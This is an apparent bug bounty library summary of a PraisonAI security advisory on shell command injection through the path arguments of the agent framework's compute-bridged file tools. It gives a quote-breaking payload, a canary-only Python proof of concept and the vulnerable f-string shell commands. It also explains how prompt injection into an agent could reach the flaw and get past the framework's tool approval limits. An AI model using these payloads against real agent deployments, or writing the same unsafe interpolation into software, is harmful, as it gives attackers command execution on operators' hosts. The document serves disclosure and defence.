# PraisonAI: Compute-bridged file tools allow shell command injection

PraisonAI compute bridging builds shell strings from read_file/list_files path args, letting a path payload execute arbitrary commands in the compute environment.

- Payout: Research
- Severity: high
- Program: PraisonAI
- Found by: rexpository
- Disclosed: 2026-06-18
- CVE: CVE-2026-57117
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-w6h2-fr4q-xvxv
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-w6h2-fr4q-xvxv
- Tags: area:ai domain:ai impact:privesc impact:rce kind:research platform:ghsa sev:high tech:docker tech:python technique:source-review vuln:command-injection vuln:rce

**Target:** LocalManagedAgent/SandboxedAgent compute-bridged file tools (managed_local.py)
**Root cause:** _bridge_file_tool() interpolates raw path/content arguments into shell command strings (`cat "{filepath}"`, `ls -la "{directory}"`, heredoc write) executed via create_subprocess_shell or `sh -c`, so path data is parsed as shell syntax.
**Steps:**
1. Attach a compute provider (compute="local" or Docker) to LocalManagedAgent/SandboxedAgent with tools=["read_file","list_files"].
2. Pass path payload `missing"; printf "$PRAI_CAND_006_CANARY"; #` to the bridged read_file tool.
3. Bridge builds `cat "missing"; printf "$PRAI_CAND_006_CANARY"; #"` and runs it in the compute shell.
4. Observe canary in output; normal read_file/list_files treat the same payload as a literal path.
**How found:** Noticed compute bridging swaps the execution primitive of read_file/list_files to shell interpretation while keeping low-risk names/signatures; compared normal vs bridged tools with a canary payload to confirm shell expansion.
**Exploitation:** Attacker controlling a file-tool path argument (via prompt injection, chat endpoint, or automation webhook) breaks out of the quoted path and runs arbitrary shell commands in the compute environment — host subprocess for compute="local", container for Docker — without the operator granting execute_command.
**Escalation:** Bypasses least-privilege tool config and approval registry (execute_command=critical, read_file/list_files unrated), turning a low-risk file tool into command execution.
**Insight:** When a framework 'bridges' a safe tool onto a shell-backed provider, the tool name/signature stays but the parser changes — diff the execution primitive, not the API, and test path args with `"; cmd; #` to detect shell re-interpretation.

## Proof of concept (copied exactly from the original report)

**Inline Python PoC comparing normal vs bridged file tools**

```
import os
from pathlib import Path

from praisonai.integrations.managed_local import LocalManagedAgent, LocalManagedConfig
from praisonaiagents.tools import list_files, read_file

workdir = Path(".prai-cand-006-pov-workdir")
workdir.mkdir(exist_ok=True)
(workdir / "safe.txt").write_text("SAFE_CONTENT\n", encoding="utf-8")

canary = "PRAISONAI_CAND_006_COMMAND_EXECUTED"
os.environ["PRAI_CAND_006_CANARY"] = canary
payload = 'missing"; printf "$PRAI_CAND_006_CANARY"; #'

# Control: normal file tools treat the payload as a literal path.
normal_read = read_file(str(workdir / payload))
normal_list = str(list_files(str(workdir) + '"; printf "$PRAI_CAND_006_CANARY"; #'))

cfg = LocalManagedConfig(
    name="prai-cand-006-poc",
    tools=["read_file", "list_files"],
    working_dir=str(workdir),
)
managed = LocalManagedAgent(config=cfg, compute="local")
tools = {tool.__name__: tool for tool in managed._resolve_tools()}

bridged_read = tools["read_file"](payload)
bridged_list = tools["list_files"]('."; printf "$PRAI_CAND_006_CANARY"; #')

print("normal_read_contains_canary", canary in normal_read)
print("normal_list_contains_canary", canary in normal_list)
print("bridged_read_contains_canary", canary in bridged_read)
print("bridged_list_contains_canary", canary in bridged_list)
```

**Bridged shell command construction**

```
command = f'cat "{filepath}"'
command = f'ls -la "{directory}"'
command = f'cat > "{filepath}" << "EOF"\n{content}\nEOF'
```

